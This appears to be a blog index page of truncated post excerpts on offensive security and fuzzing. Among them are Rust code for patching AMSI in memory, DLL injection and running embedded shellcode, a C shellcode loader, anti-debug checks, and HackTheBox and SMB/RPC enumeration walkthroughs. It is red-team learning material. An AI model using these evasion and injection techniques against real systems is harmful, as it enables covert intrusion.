Ryota Sakai

This is Day 9 of the monicle Advent Calendar! https://adventar.org/calendars/8977tl;dr Active Directory exploitation involves unauthorized actions by attackers to compromise, manipulate, or gain unauthorized access to an organization’s Active Directory infrastructure. This can include stealing credentials, using password hashes, forging tickets, escalating privileges, moving laterally within the network, and establishing persistent access. Organizations should implement security measures to detect and mitigate these threats.What is Active Directory Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks.

Atack of Titan

DLL proxying with Rust what is dll proxying? DLL proxying, also known as DLL redirection or DLL hijacking, is a technique used by attackers or developers to manipulate the way Windows loads dynamic link libraries (DLLs). DLLs are files that contain code and data that multiple programs can use simultaneously. They provide a way to modularize code and promote code reuse.DLL proxying involves placing a malicious or modified DLL in a location that is searched by a target application before the legitimate DLL is located.

DLL proxying with Rust

Anti-debug アンチデバッグのやり方はたくさんあるが、その中でもよく使われるものを紹介する。網羅的に把握したい場合は下記リンクを参照すると良い。https://unprotect.it/category/anti-debugging/古典的なアンチデバッグ bool FindDebugger() { bool bDetect = false; HWND hDebugger = ::FindWindow(NULL, "OllyDBG"); if (hDebugger) { bDetect = true; AfxMessageBox("Can not use debugger"); } return bDetect; } デバッガーのウィンドウキャプションを見つけてプログラムを終了させる。IsDebuggerPresent MSDNに記載されていてkernel32.dllから提供されている。if (IsDebuggerPresent()) { exit(1); } アセンブリになると下記のようになるmov eax, dword ptf fs:[18] mov eax, dword ptr ds:[eax+30] movzx eax, byte ptr ds:[eax+2] retn fs:[18] はTEBを指す。(Thread Environment Block)TEBをEAXに入れたがそこから30番地離れたアドレスを再びEAXに入力するコードだ。TEBから0x30離れたところにはPEB(Process Environment Block) がある。EAXにはPEBが入っていて、そこから+2移動したアドレスから1バイト持ってきていると解釈できる。PEBの構造体は下記の通り。typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB; BeingDebugged という名前の箇所の値を入れている。

Anti-debug introduction

スキャン要求を失敗させるために、すでにメモリにロードされているAMSI ライブラリ自体のコードを改ざんする. メモリにすでにロードされている AmsiScanBuffer というライブラリを探し出し、そのアドレスの命令を上書きしてエラーメッセージを表示させます。この攻撃では、マルウェアがメモリ内のライブラリ「AmsiScanBuffer」を探し出し、そのアドレスの命令を、エラーメッセージにリダイレクトする新しい命令で上書きします。[package] name = "amsibypass" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [[bin]] name = "amsi_bypass" path = "src/main.rs" [dependencies] winapi = {version = "0.3.9", features=["memoryapi", "libloaderapi", "processthreadsapi"]} win32-error = "0.9.0" use std::{ffi::CString, ptr}; use winapi::{ um::{ memoryapi::{ VirtualProtect, WriteProcessMemory }, libloaderapi::{ LoadLibraryA, GetProcAddress }, processthreadsapi::GetCurrentProcess, winnt::PAGE_READWRITE }, shared::{ minwindef::{ DWORD, FALSE }, ntdef::NULL } }; fn main() { println!

AMSI bypass

Offensive Rust かんたんなまとめ: Rustでレッドチームシミュレータを書きたい人におすすめ。リンク https://redteamsorcery.teachable.com/courses/enrolled/1973492https://www.udemy.com/course/offensive-rust/アフィリエイトはないです。概要 本教材ではオフェンシブなコード、レッドチーム向けのコードをRustで書いていく。なお、対象環境はWindows。WSLとかではなくWindowsに直接Rustをインストールする。内容 内容はかなり多岐にわたる。最初の方ではRustのセットアップを実施し、基礎的なRustの書き方を教えてくれる。中盤からはオフェンシブなコードを書いていく。例えばLDAPを用いたActive Directoryの列挙であったり、シェルコードを書いたり、DLLインジェクションを行ったりと、基本的なRustの書き方を抑えつつレッドチーム向けのコードを書いていく。また、Reflective PE Loaderを書いたり、Process Hollowingをやったり、ハッシュ化した関数呼び出しをしたりとレッドチームシミュレータで実行しそうな内容をRustでどのように書くか教えてくれる。以降もAMSIのバイパスの仕方やProcess Doppelgangingの仕方をRustで解説してくれる。総じてレッドチームシミュレータをRustで書いてみたいと方にはおすすめの内容。各パートは体感ではそこまで長くなく、サッと書いてサッと試すということをやっていく。まとめ レッドチーム向けのシミュレータを書きたいとなったとき、候補としてはC/C++が挙がるがRustで書きたい人は、この教材を買って見てみると良いだろう。

Offensive Rustのレビュー

What is PE PEファイルとはPortable Executable File Formatの略。ポータブルな実行ファイルである。ビルド たとえばtest.cppといったファイルを作成してビルドすると、まず関連するヘッダーとソースをコンパイルし1つの機械語コードを作成する。この段階でReleaseディレクトリにobjファイルが生成される。次にリンク作業が行われる。リンカはOSでこのファイルを実行できるように動的ライブラリや様々なリソースデータ、インポート・エクスポートテーブルを処理するための情報をファイルに書き出す。この際にWindowsは決まったルールに沿って情報を用意しExeファイルを作成する際に、ヘッダーに情報を書き込む。これがPEフォーマットを作成する処理である。PEヘッダーの中には実行ファイルを実行するために様々な情報が記録されている。PEファイルの構造 IMAGE_DOS_HEADER IMAGE_NT_HEADER IMAGE_FILE_HEADER IMAGE_OPTIONAL_HEADER IMAGE_SECTION_HEADER IMAGE_IMPORT_DESCRIPTOR IMAGE_EXPORT_DIRECTORY IMAGE_IMPORT_BY_NAME IMAGE_THUNK_DATA32 主要な構造体は上記の通り。IMAGE_DOS_HEADER typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; e_magic , e_lfanew について注目するとよい。

PEについてメモ

LibFuzzerを使った https://x64.moe/posts/whatslibfuzzer/ こんな感じにファジングできるLibFuzzerを使ってみた。 結論としてはどれもうまくいかなかった(クラッシュしない・クラッシュしても配布されるビルドのものだとクラッシュしない等など)ターゲット Jansson https://github.com/akheron/jansson なんかのパーサがやりやすいかなと思ってJSONパーサのJanssonを選んだ。#include <stddef.h> #include <stdint.h> #include "jansson.h" int parseJson(const char *buffer, size_t buflen) { json_error_t error; json_t *root; json_t *obj; const char *str; double dValue; int iValue; root = json_loadb(buffer, buflen, 0, &error); if (root == NULL) { return 0; } obj = json_object_get(root, "dateTime"); if (json_is_string(obj)) { str = json_string_value(obj); } obj = json_object_get(root, "eventType"); if (json_is_string(obj)) { str = json_string_value(obj); } obj = json_object_get(root, "DependOnSequentialEvent"); if (json_is_object(obj)) { json_t *obj2; obj2 = json_object_get(obj, "valPercent"); if (json_is_real(obj2)) { dValue = json_real_value(obj2); } else if (json_is_integer(obj2)) { iValue = json_integer_value(obj2); } obj2 = json_object_get(obj, "alive"); if (json_is_string(obj2)) { str = json_string_value(obj2); } obj2 = json_object_get(obj, "isScript"); } return 0; } extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size < 0) { return -1; } parseJson((const char *)data, size); return 0; } ビルド内容は下記のような感じ クラッシュしなかった。

LibFuzzerを使った

What is LibuFuzzer? Libfuzzer is a library part of LLVM that can be used to fuzz test programs.Example Build the fuzzing target.#include <stdint.h> #include <stddef.h> bool FuzzMe(const uint8_t *Data, size_t DataSize) { return DataSize >= 3 && Data[0] == 'F' && Data[1] == 'U' && Data[2] == 'Z' && Data[3] == 'Z'; } extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { FuzzMe(Data, Size); return 0; } First, write LLVMFuzzerTestOneInput function.

LibFuzzer's Example

LibAFL とは https://aflplus.plus/libafl-book/libafl.html ファジングのためのライブラリ。 AFL, libFuzzer, honggfuzz といったファザーは存在するが拡張性がない。 個々のソフトウェアに対してカスタマイズ可能なファザーを作るために開発された。特徴 マルチプラットフォーム対応 OS依存のランタイムを必要としていない なので組み込みデバイスやハイパーバイザ、WASMなどにつかえる(らしい) AFLPlusPlusで培った経験が活かされている スケールしやすいらしい 早い ソフトウェアに合わせてカスタムできる 入門 crate として使える。 注意点としてClangに依存しているので予めインストールする必要がある。各種プロジェクトのルートディレクトリから cargo build --release を実行することでビルドできる。 下記のように Cargo.toml に書けば良い(私は cargo add で入れた)[dependencies] libafl = { version = "*" } 色々とカスタムできるがクレートとしては libafl を使えば良さそう。 他のクレートの説明はこちら。 https://aflplus.plus/libafl-book/getting_started/crates.htmlコンセプト Observer テスト対象のぷろぐらむの実行を監視し、その情報をファザーに提供するものです。 これは Observer トレイトに書かれている。 各ファジングのデータを保持したりファジングケースの前後でフックしたりできる。Executor テスト対処の実行に関する操作を定義するもの。 ファザー＝が実行で使用したい入力についてプログラムに通知し、特定のメモリの場所に書き込んだり、それをパラメータとしてハーネスに渡す責任がある。 Executor トレイとで提供されている。 InprocessExecutor はプロセス内のクラッシュを検出する。 ForkserverExecutor 子プロセスをファズするときに使う。InprocessExecotr はファザープロセス内のハーネスを実行する。 ハーネスをできるだけ早く実行したいときはこれを採用する。 注意するべき点はハーネスにヒープ周りのバグがある可能性がある場合、クラッシュしたヒープがファザーに影響を与えないように別のアロケータを使用する必要があります。 例えばMiMallocを使用するなど。 あるいはアドレスサニタイザーを使用してハーネスをコンパイルしヒープ周りのバグを補足できるようにする。ForkserverExecutor は共有メモリを使用してハーネスを実行する。InprocessForkExecutor はハーネスを実行する前に分岐する。 ハーネスが不安定になったりクラッシュするような場合、子プロセスでハーネスを実行する必要がある。 そのような時に使用する。 ただしハーネスを実行し、カバレッジをマップに書くのは子プロセス。 親プロセスと子プロセスの間でマップを共有するために共有メモリを使用する。

[Note] LibAFLとはなにか

winapi winapi provides raw FFI bindings to all of Windows API. So, I will use this crate.code When run command cargo run, it can be inject dll to processuse winapi::ctypes::*; use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress}; use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory}; use winapi::um::processthreadsapi::{CreateRemoteThread, OpenProcess}; pub fn DllInject(proc_handle: *mut c_void, dll_path: &str) { unsafe { let remote_base = VirtualAllocEx( proc_handle, std::ptr::null_mut(), dll_path.len(), 0x1000, 0x40, ); WriteProcessMemory( proc_handle, remote_base, dll_path.as_bytes().as_ptr() as *const c_void, dll_path.len(), std::ptr::null_mut(), ); let dll_handle = GetModuleHandleA("kernel32.

Dll Injection with Rust

Motivation I want to how to allocate memory on windows and execute code in buffers.winapi winapi provides raw FFI bindings to all of Windows API. So, I will use this crate.code When run command cargo run, popup calc.exeuse std::mem::transmute; use winapi::um::errhandlingapi::GetLastError; use winapi::um::memoryapi::VirtualAlloc; use winapi::um::processthreadsapi::CreateThread; use winapi::um::synchapi::WaitForSingleObject; fn main() { let buffer: [u8; 276] = [ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, ]; unsafe { let baseptr = VirtualAlloc(std::ptr::null_mut(), buffer.

Executing functions in Rust with winapi

What is Ldap LDAP stands for Lightweight Directory Access Protocol. It is an open and platform-independent protocol used for accessing and maintaining directory services over a network. Directory services store and organize information, such as user names, passwords, email addresses, and other attributes, in a hierarchical structure.LDAP is commonly used in client-server applications and network environments to facilitate centralized management of user authentication, authorization, and directory information. It allows clients to search, modify, and retrieve data from a directory server, which stores the directory information.

Connect to Ldap3 with Rust

Shellcode One way for malware to embed code is to deploy shell code in memory. This time, we will check the method that works on Windows. Note that getchar() is used so that the debugger can attach to the process accordingly and check the memory..text payload is the shellcode. To embed arbitrary shell code in a .text section, do the following.#include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Shellcode in text section unsigned char payload[] = { 0x90,	// NOP 0x90,	// NOP 0xcc,	// INT3 0xc3	// RET }; unsigned int payload_len = 4; // Allocate a memory buffer for payload exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload); printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem); // Copy payload to new buffer RtlMoveMemory(exec_mem, payload, payload_len); // Make new buffer as executable rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); printf("\nHit me!

Maldev - implant payload

This post is writeup of the HackTheBox machine.Brain**ck https://app.hackthebox.com/machines/BrainfuckNmap Nmap result$ nmap -sC -sV 10.10.10.17 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 06:39 EDT Nmap scan report for 10.10.10.17 Host is up (0.072s latency). Not shown: 995 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA) | 256 6bd5dc153a667af419915d7385b24cb2 (ECDSA) |_ 256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL(PLAIN) TOP RESP-CODES UIDL CAPA AUTH-RESP-CODE PIPELINING USER 143/tcp open imap Dovecot imapd |_imap-capabilities: LITERAL+ AUTH=PLAINA0001 capabilities LOGIN-REFERRALS have post-login listed SASL-IR IDLE ENABLE OK more IMAP4rev1 Pre-login ID 443/tcp open ssl/http nginx 1.

HackTheBox Walkthrough - Brainf**k

Nibbles IP address : 10.10.10.75Nmap result$ nmap -sV -sT -sC 10.10.10.75 Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-17 05:59 EST Nmap scan report for 10.10.10.75 Host is up (0.11s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4f8ade8f80477decf150d630a187e49 (RSA) | 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA) |_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519) 80/tcp open http Apache httpd 2.

HackTheBox Nibbles Walkthrough

Nmap cheat sheet $ nmap <scan types> <options> <target> -snDisables port scanning.-oA tnetStores the results in all formats starting with the name ’tnet'.-iLPerforms defined scans against targets in provided ‘hosts.lst’ list.-PE Performs the ping scan by using ‘ICMP Echo requests’ against the target. –packet-trace Shows all packets sent and received --reasonDisplays the reason for specific result. --top-ports=10Scans the specified top ports that have been defined as most frequent.

nmap cheat sheet

RPC Client RPC client$ rpcclient -U "" 10.129.14.128Enter WORKGROUP\'s password: rpcclient$> rpcclient$> srvinfo DEVSMB Wk Sv PrQ Unx NT SNT DEVSM platform_id : 500 os version : 6.1 server type : 0x809a03 rpcclient$> enumdomainsname:[DEVSMB] idx:[0x0] name:[Builtin] idx:[0x1] rpcclient$> querydominfoDomain: DEVOPS Server: DEVSMB Comment: DEVSM Total Users: 2 Total Groups: 0 Total Aliases: 0 Sequence No: 1632361158 Force Logoff: -1 Domain Server State: 0x1 Server Role: ROLE_DOMAIN_PDC Unknown 3: 0x1 rpcclient$> netshareenumallnetname: print$ remark: Printer Drivers path: C:\var\lib\samba\printers password: netname: home remark: INFREIGHT Samba path: C:\home\ password: netname: dev remark: DEVenv path: C:\home\sambauser\dev\ password: netname: notes remark: CheckIT path: C:\mnt\notes\ password: netname: IPC$ remark: IPC Service (DEVSM) path: C:\tmp password: rpcclient$> netsharegetinfo notesnetname: notes remark: CheckIT path: C:\mnt\notes\ password: type: 0x0 perms: 0 max_uses: -1 num_uses: 1 revision: 1 type: 0x8004: SEC_DESC_DACL_PRESENT SEC_DESC_SELF_RELATIVE DACL ACL Num ACEs: 1 revision: 2 --- ACE type: ACCESS ALLOWED (0) flags: 0x00 Specific bits: 0x1ff Permissions: 0x101f01ff: Generic all access SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS SID: S-1-1-0 rpcclient$> enumdomusersuser:[mrb3n] rid:[0x3e8] user:[cry0l1t3] rid:[0x3e9] rpcclient$> queryuser 0x3e9 User Name : cry0l1t3 Full Name : cry0l1t3 Home Drive : \\devsmb\cry0l1t3 Dir Drive : Profile Path: \\devsmb\cry0l1t3\profile Logon Script: Description : Workstations: Comment : Remote Dial : Logon Time : Do, 01 Jan 1970 01:00:00 CET Logoff Time : Mi, 06 Feb 2036 16:06:39 CET Kickoff Time : Mi, 06 Feb 2036 16:06:39 CET Password last set Time : Mi, 22 Sep 2021 17:50:56 CEST Password can change Time : Mi, 22 Sep 2021 17:50:56 CEST Password must change Time: Do, 14 Sep 30828 04:48:05 CEST unknown_2[0.

rpc enumeration

Samba samba$ cat /etc/samba/smb.conf | grep -v "#\|\;"[global] workgroup = DEV.INFREIGHT.HTB server string = DEVSMB log file = /var/log/samba/log.%m max log size = 1000 logging = file panic action = /usr/share/samba/panic-action %d server role = standalone server obey pam restrictions = yes unix password sync = yes passwd program = /usr/bin/passwd %u passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* . pam password change = yes map to guest = bad user usershare allow guests = yes [printers] comment = All Printers browseable = no path = /var/spool/samba printable = yes guest ok = no read only = yes create mask = 0700 [print$] comment = Printer Drivers path = /var/lib/samba/printers browseable = yes read only = yes guest ok = no 設定 説明 [sharename] ネットワーク共有の名前。 workgroup = WORKGROUP/DOMAIN クライアントがクエリを実行したときに表示されるワークグループ。 path = /path/here/ ユーザーにアクセス権を付与するディレクトリ。 server string = STRING 接続が開始されたときに表示される文字列。 unix password sync = yes UNIX パスワードを SMB パスワードと同期しますか?

Samba enumeration

SMTP SMTP送信と通信は、SMTP サーバーにユーザーの要求を実行させる特別なコマンドによっても行われます。指示 説明 AUTH PLAIN AUTH は、クライアントの認証に使用されるサービス拡張です。 HELO クライアントはそのコンピューター名でログインし、セッションを開始します。 MAIL FROM クライアントは電子メールの送信者に名前を付けます。 RCPT TO クライアントは、電子メールの受信者に名前を付けます。 DATA クライアントが電子メールの送信を開始します。 RSET クライアントは開始された送信を中止しますが、クライアントとサーバー間の接続は維持します。 VRFY クライアントは、メールボックスがメッセージ転送に使用できるかどうかを確認します。 EXPN クライアントは、このコマンドでメールボックスがメッセージングに使用できるかどうかも確認します。 NOOP クライアントは、タイムアウトによる切断を防ぐために、サーバーに応答を要求します。 QUIT クライアントはセッションを終了します。 $ telnet 10.129.14.128 25 Trying 10.129.14.128... Connected to 10.129.14.128. Escape character is '^]'. 220 ESMTP Server HELO mail1.inlanefreight.htb 250 mail1.inlanefreight.htb EHLO mail1 250-mail1.inlanefreight.htb 250-PIPELINING 250-SIZE 10240000 250-ETRN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING $ telnet 10.129.14.128 25 Trying 10.129.14.128... Connected to 10.

SMTP enumeration

I built v8 to run fuzzing in AFL. First, install depot_tools using the link below. And then download the v8 source code.https://v8.dev/docs/source-codeNext, create an afl directory in the v8/third_party directory and download the contents of the following link.https://chromium.googlesource.com/chromium/src/+/refs/heads/master/third_party/afl/Next, go to the v8 directory and execute the following command.gn gen out/libfuzzer '--args=use_afl=true is_asan=true optimize_for_fuzzing = true ' --check ninja -C out/libfuzzer d8 afl-fuzz -D -i third_party/afl/src/testcases/others/js/ -o fuzzout -M fuzz1 .

[Note] How to build v8 for AFL

Twint について使ってみる(初級編) 何をするにも現代人はすぐにTwintterに情報を投稿する。それはそれで良いのだが、ごくまれにどのような情報を投稿しているか・フォロー/フォロワーは・たくさんRTしている人は誰かなんとなく調べたくなってしまう時がある。Twitterに連絡してのAPI利用許可を貰えばいいだろうと思うが、昔と違い今はAPI申請も難しくなっている(ぶっちゃけ面倒)そんなわけでどうにかしてAPIを使わずにTwitterの情報を集めるツールがないか探したところTwintに出会った。特定のユーザーからツイートを収集したり、特定のトピック、ハッシュタグやトレンドに関連するツイートを収集することができる(ツイート取得3,200件の壁はあるものの) しかもプロキシ使い放題とは流石だ(未検証)そんなわけで今回はTwintを利用するところまでを紹介する。インストール GitHubに書かれている内容そのままで簡単にインストールできる。pipでインストール pip3 install twint使ってみる 対象ユーザの最近のツイートとフォロワーをcsvファイルにしてみる。 今回は私のスクリーンネームFAMASoonで検索してみる。import twint def get_followers(username): c = twint.Config() c.Username = username c.Profile_full = True c.Store_csv = True c.Output = "recent_followers.csv" twint.run.Followers(c) def get_recent_tweets(username): c = twint.Config() c.Username = username c.Store_csv = True c.Output = "recent_tweets.csv" twint.run.Search(c) def main(): # ここに任意のスクリーンネームを入力 user_name = "FAMASoon" get_recent_tweets(user_name) get_followers(user_name) if __name__ == "__main__": main() recent_followers.csvやrecent_tweets.csvという名前でフォロワーやツイートがリストアップされているだろう。所感 結構簡単に使えた。 特定ユーザの動向をヲチするときとかに使えそう。

twintについて使ってみる

How to use crashwalk crashwalk can check to quickly determine which crashes may lead to exploitable or not.Install Install gdb and golang by apt Download exploitable.py Install crashwalk $ sudo apt install gdb golang $ mkdir ~/src $ cd ~/src $ git clone https://github.com/jfoote/exploitable $ go get -u github.com/bnagy/crashwalk/cmd/... Usage crashwalk can be used immediately if there is a path of AFL crash outputs.For example, I will show using crashwalk on .

How to use crashwalk

Jupyter Notebook の導入 はじめに Mac を買ったので新しく環境構築しました。 その際に行った作業のメモです。Jupyter Notebook とは Python の対話的な実行環境のこと。 コードの共有や結果の可視化が楽にできます。 Markdownでメモを添えることもできます、便利ですね。 実はPython 以外も扱えます。 詳細は公式を見てください。インストール Jupyter Notebook pip3 install jupyter で簡単にインストールできます。Jupyter extension これだけでも便利ですが、さらに便利にできる拡張機能群があるのでインストールします。 ソースコードはここpip3 install jupyter_contrib_nbextensions jupyter contrib nbextension install --user これで拡張機能が使えるようになりました。 http://localhost:8888/nbextensions で拡張機能を選択できるようになっています。 ちなみに自分はVimのキーバインドを使うために"Select CodeMirror Keymap"を、コードの展開とかを良い感じにやってくれる"Codefolding"と"Codefolding in Editor"を使っています。jupyter-themes 少し暗めの色が好きなのでテーマカラーを変更できる jupyter-themes をインストールしてみます。pip3 install jupyterthemes jt -t oceans16 -T -N これでテーマを変更することができました。 今回はoceans16を選択したが他にもテーマはあります。 下記コマンドで使用可能なテーマがリストとして出力されます。jt -l お好みのテーマを選んでみてください。おわりに Jupyter Notebook の環境構築をやってみました。 本当に便利なので使う人増えて欲しいですね。 何か良い拡張機能を知っている方は良ければ教えてください。

Jupyter Notebook の導入

I published a collection of links related to malware analysis. Please use it. Best Regards :)Links Tracker Haruko MalwareBazaar CyberCrime Tracker VXvault AZORult Tracker CCAM CyberCrime Tracker ATM CyberCrime Tracker Feodo Tracker URLhaus viriback RAT Tracker C2 Panel Tracker INQUEST LABS Source MALWARE-TRAFFIC-ANALYSIS.NET Twitter IoC Sandbox/Analyzer manalyzer VirusTotal Any.Run RE techniques THISISSECURITY XyliBox Fumik0_’s box MalwareTech Malware don’t need coffee nao_sec ZEROPHAGE SentinelLABS blog 0ffset MalwareLab.pl Research Notes Malware Reversing Encyclopedia malpedia ATT&CK Report APT_REPORT CyberThreatIntel Community OTX VirusBay kernelmode.

Malware Analysis links

OpenFaas で function を自作する OpenFaas で function を実装してデプロイしてみる。 OpenFaas のセットアップについてはこちらfunction をビルドする 下記コマンドで function の実装ができる$ faas-cli new --lang <実装したい言語> <functionの名前> 今回は入力されたドメインの whois 情報を出力する function を Golang で実装してみる。 faas-cli で function を作成すると諸々の設定ファイルや function を実装するためのファイルが生成される。$ faas-cli new --lang go whois $ ls template whois whois.yml ファイルの中身を確認する whois.yml ファイルには実装する function に関する設定が書かれている。provider: name: faas gateway: http://127.0.0.1:8080 functions: whois: lang: go handler: ./whois image: whois:latest whois/handler.go ファイルには function の処理が書かれている。package function import ( "fmt" ) // Handle a serverless request func Handle(req []byte) string { return fmt.

OpenFaas で function を自作する

OpenFaas をセットアップして function を呼び出す AWS lambda を何となく触ってみて、ベンダロックインしない形で同じような機能を実現できないかなと思って色々と調べているとOpenFaasというOSSを見つけた。 AWS lambda とAPI Gatewayをまとめた感じの処理をdockerを使って実現するプロジェクトのようだ。 試しに触ってみたのでその記録を書く。OpenFaas とは Serverless な処理を Docker や Kubernetes で実装するためのフレームワーク。 公式で日本語化されたチュートリアルがある linkOpenFaas のセットアップ 必要なソフトは下記の通りDocker まずは OpenFaas を動かすための swarm をセットアップ$ docker swarm init openfaas-cli のインストール 次に OpenFaas を動かすためのCLIコマンドをインストールする。 ここでインストールするfaas-cliを使用すればCLIからfunctionの新規作成、ビルド、デプロイ等の操作ができるようになる。 mac環境なら以下のコマンドでインストール$ brew install faas-cli Linux とかの環境なら下記のコマンドでインストール$ curl -sL cli.openfaas.com | sudo sh インストールされたか確認$ faas-cli version OpenFaasのデプロイ GitHub から最新版の OpenFaas をダウンロードして Docker swarm で起動させる。$ git clone https://github.

OpenFaas をセットアップして function を呼び出す

